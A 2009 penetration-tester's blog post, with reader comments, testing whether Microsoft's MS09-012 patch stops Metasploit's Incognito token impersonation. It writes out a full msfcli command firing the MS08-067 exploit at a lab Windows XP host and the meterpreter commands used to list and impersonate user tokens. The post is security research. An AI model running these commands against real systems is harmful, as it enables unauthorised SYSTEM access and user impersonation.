Cатсн²² (in)sесuяitу / ChrisJohnRiley

Because we're damned if we do, and we're damned if we don't!

MS09-012: Fixing “Token Kidnapping”

3 Comments Posted by on April 15, 2009

This was the headline that grabbed my attention this morning on the Microsoft Security & Defence Blog. Had Microsoft finally patched the token impersonation flaw (or feature as Microsoft regard it) that is used by the Incognito tool to allow a compromised system level account to impersonate local or domain users. In short no, and I say that with mixed feelings.

As a penetration tester, I can breath a sigh of relief and know that this attack vector is still open. As a defender, the chance that Microsoft had changed the way this functionality works to block the attack was a welcome update to protect our systems. Still, you can’t expect Microsoft to repair something they see as a feature and the way things should work. Some things aren’t meant to be repaired I guess.

Testing

Just to make sure that Microsoft hadn’t broken the Incognito functionality while messing with the way tokens work, I ran a couple of tests against a Windows XP service pack 2 machine.

I started off with an unpatched version and ran the trusty MS08-067 exploit to get a meterpreter shell.

./msfcli exploit/windows/smb/ms08_067_netapi payload=windows/meterpreter/bind_tcp LHOST=192.168.0.104 RHOST=192.168.0.103 E

This functioned as you’d expect and resulted in a meterpreter shell running under the Local System Account. After running the “use incognito” command I listed the tokens using “list_tokens -u”.

incognito1

Taking the local account “pentestuser” as the token to impersonate, I ran “impersonate_token PENTEST-3C73D9Cpentestuser”

incognito2

Success, as expected on the unpatched system. Next up, I patched the system, rebooted and repeated the same msfcli exploit (MS08-067). This time however the exploit failed on the first run as it couldn’t isolate the exact service pack version. Metasploit listed it as Service Pack 2+ (which is technically correct). Re-running the command completed the exploit however.

incognito3_after-patch

Even after the patch everything seems fine in the token list.

incognito4_after-patch

The final test, impersonation of the PENTEST-3C73D9Cpentestuser user. As before this went off without a hitch, giving us access to the local user without error.

Conclusion

Microsoft have patched the flaws listed in KB952004 without effecting the Incognito tool (or the implementation of the tool within Metasploit). Good for attackers, bad for defenders. But you can’t always have it both ways can you. I doubt that we’ll be seeing a patch against the token impersonation flaw used in incognito anytime soon, if at all.

I’m heading to Blackhat Europe in a few hours (courtesy of a last minute press registration). If you’re there feel free to drop me a line and buy me a drink 😉 — > contact [at] c22 [dot] cc

Advertisement
Metasploit, Penetration Test, Security, Technology , ,

3 responses to “MS09-012: Fixing “Token Kidnapping””

  1. CG April 15, 2009 at 16:38

    I think its because the patch fixes the issue of going from a network service to SYSTEM via priv escalation.

    incognito takes you from SYSTEM to another token.

    but that’s just from reading the unclear advisories.

  2. jcran April 16, 2009 at 06:16

    Chris, great work on this. i hadn’t had a chance to verify this, but i had mixed feelings after seeing the ‘token kidnapping fixed’ advisories.

    My understanding of token kidnapping has changed since the release of MS09-012. I now understand that incognito really just implements token /impersonation/, not token /kidnapping/. As you mentioned, SYSTEM -> arbitrary_user token impersonation is expected behavior.

    I’m not clear on whether the user account option ‘account is sensitive and cannot be delegated’ in Active Directory is of any use in protecting against SYSTEM -> domain user impersonation, or, similarly if the computer account option ‘Trust computer for delegation’ is part of the issue.

    The wording here: http://technet.microsoft.com/en-us/library/cc961980.aspx — says this:

    When you trust a computer for delegation, you enable delegation for all services that run under the Local System account on the computer. If an unwary administrator installs an untrusted service on the computer and configures it to run as Local System, it too can access network resources while impersonating other users. A better practice is to configure services that use delegation to run under their own domain user accounts managed by domain administrators.

    Ideas? I think I just need dig a little deeper into the windows security model and understand impersonation better.

  3. ChrisJohnRiley April 16, 2009 at 07:42

    Things in the initial Microsoft release documents where a little vague on exactly what was fixed. I managed to find some references to the original research which tends to lean more towards SQL server and IIS issues. In particular they mention the MSDTC service and from the patch information it seems that this is the main area patched. At least 75% of the patched files contain the word DTC. So take it as it comes. I’ll have to find the link and post it as soon as I have the chance.

%d bloggers like this: